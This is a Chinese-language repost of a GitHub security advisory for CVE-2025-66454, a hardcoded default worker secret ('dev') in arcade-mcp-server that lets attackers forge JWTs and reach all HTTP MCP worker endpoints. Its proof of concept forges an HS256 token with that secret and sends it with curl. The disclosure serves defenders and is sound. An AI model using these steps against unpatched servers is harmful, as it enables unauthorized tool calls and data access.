arcade-mcp-server 硬编码默认密钥漏洞致HTTP MCP工作端未授权访问

本文详细分析了CVE-2025-66454漏洞,该漏洞源于arcade-mcp-server HTTP服务使用了硬编码的默认工作密钥("dev"),导致攻击者可轻松伪造JWT令牌,完全绕过FastAPI认证层,未授权访问所有工作端点。

arcade-mcp-server 存在硬编码默认工作密钥,允许完全未授权访问所有HTTP MCP工作端点 · CVE-2025-66454 · GitHub Advisory Database

漏洞详情

包管理器: pip 包名: arcade-mcp-server (pip) 受影响版本: < 1.9.1 已修复版本: 1.9.1

描述

概述 arcade-mcp HTTP服务器使用了一个硬编码的默认工作密钥(“dev”),该密钥在正常服务器启动过程中从未被验证或覆盖。因此,任何知道此默认密钥的未认证攻击者都可以伪造有效的JWT,并完全绕过FastAPI认证层。这赋予了远程访问所有工作端点的权限——包括工具枚举和工具调用——而无需任何凭证。

任何遵循官方快速入门指南的用户都会受到影响,除非他们手动覆盖 ARCADE_WORKER_SECRET

详情 启动HTTP MCP服务器的文档化方法(python server.py http)隐式地将工作密钥设置为硬编码的默认值 “dev”:

  • ArcadeSettings.server_secret 默认为 “dev” (libs/arcade-mcp-server/arcade_mcp_server/settings.py:129–158)
  • create_arcade_mcp() 将此值直接传递给 FastAPIWorker 而不进行验证 (libs/arcade-mcp-server/arcade_mcp_server/worker.py:118–188)
  • BaseWorker._set_secret() 接受此值且不强制要求轮换 (libs/arcade-serve/arcade_serve/core/base.py:42–83)

由于工作节点的签名密钥是固定且公开文档化的,攻击者可以轻松生成有效的HS256 JWT令牌:

  • FastAPI工作节点认证中间件 (arcade_serve/fastapi/auth.py) 信任任何使用工作密钥签名的JWT。
  • 核心认证层 (arcade_serve/core/auth.py) 无法区分伪造的令牌和合法的令牌。

因此,按照文档化工作流程部署的服务器,将所有 /worker/* 端点暴露给了任何能够使用已知密钥生成简单HS256令牌的攻击者。

此CVE已通过 ArcadeAI/arcade-mcp#691 修复。

概念验证 (PoC)

  1. 使用官方指南启动服务器:https://docs.arcade.dev/en/home/build-tools/create-a-mcp-server
  2. 验证未授权访问被拒绝(预期结果):
    1
    2
    
    curl -s -D - http://127.0.0.1:8000/worker/tools
    # → 403 Forbidden
    
  3. 使用硬编码的默认密钥 “dev” 伪造有效的HS256令牌:
    1
    2
    
    import jwt
    print(jwt.encode({'ver': '1', 'aud': 'worker'}, 'dev', algorithm='HS256'))
    
  4. 使用伪造的令牌绕过认证:
    1
    2
    3
    
    curl -s -D - \
      -H "Authorization: Bearer $(cat /tmp/forged_token.txt)" \
      http://127.0.0.1:8000/worker/tools
    
    结果:服务器以200 OK响应,并返回完整的工具目录,允许调用所有工作工具。 服务器日志:显示一个被拒绝的请求,紧接着是一个成功的伪造请求,确认了绕过行为。

影响 这是一个认证绕过漏洞,导致对所有MCP工作端点的完全远程访问

  • 未经授权的攻击者可以枚举工具
  • 远程调用任意工具
  • 访问工具返回的任何数据(包括加载到 ToolContext 中的密钥)
  • 如果工具暴露了操作功能,则可在内部系统中执行操作
  • 由于默认签名密钥已知,攻击者无需任何暴力破解或猜测即可执行这些操作

任何遵循官方设置指南的用户都会暴露在此风险中,除非他们手动覆盖 ARCADE_WORKER_SECRET(这一点未被记录)。此漏洞实际上将MCP工作节点API的完全远程控制权交给了任何知晓默认密钥的攻击者。

参考

严重程度

中危 CVSS总体评分: 6.5/10 CVSS v3 基础指标: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N EPSS评分: 0.154% (第37百分位)

弱点

  • CWE-284: 不当的访问控制 该产品未限制或错误地限制了未经授权的参与者对资源的访问。
  • CWE-321: 使用硬编码的加密密钥 使用硬编码的加密密钥会显著增加加密数据被恢复的可能性。

标识符

  • CVE ID: CVE-2025-66454
  • GHSA ID: GHSA-g2jx-37x6-6438
  • 源代码: ArcadeAI/arcade-mcp

致谢

报告者:qi-scape

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计